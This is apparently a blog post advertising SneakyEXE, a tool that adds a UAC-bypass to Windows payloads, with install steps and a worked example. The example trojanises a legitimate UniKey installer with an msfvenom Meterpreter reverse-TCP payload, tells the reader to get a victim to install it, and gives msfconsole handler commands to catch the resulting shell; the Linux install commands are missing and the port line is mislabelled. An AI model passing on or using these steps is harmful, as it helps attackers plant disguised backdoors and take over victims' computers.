Posted on 12:11 AM by Tina


About SneakyEXE
   SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).

   SneakyEXE was tested on:
  • Windows 7, 8, 10 (64 bit)
  • Parrot Security OS 4.7

   Requirements of SneakyEXE:
  • For Linux:   Architecture: Optional
       Python 3.7.x: Yes
       Module: termcolor
       Distro: Any
       Distro version: Any
  • For Windows:   Architecture: x86_64
       Python 3.7.x: No
       Module: No
       Windows version: 7, 8, 10

SneakyEXE's Installtion for Linux
   You must install Python 3 first:
  • For Debian-based distros: sudo apt install python3
  • For Arch Linux based distros: sudo pacman -S python3
   And then, open your Terminal and enter these commands:


SneakyEXE's Installtion for Windows
  • Download SneakEXE-master zip file.
  • Unzip it into your optional directory.
  • Change dir to \SneakyEXE\Win32\.
  • Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
  • (Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)
   NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
   You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
   Download SneakEXE-master zip file and unzip it.
   And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
   I dowloaded Unikey from Unikey.org.
   And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

   After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

  And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

   and wait...
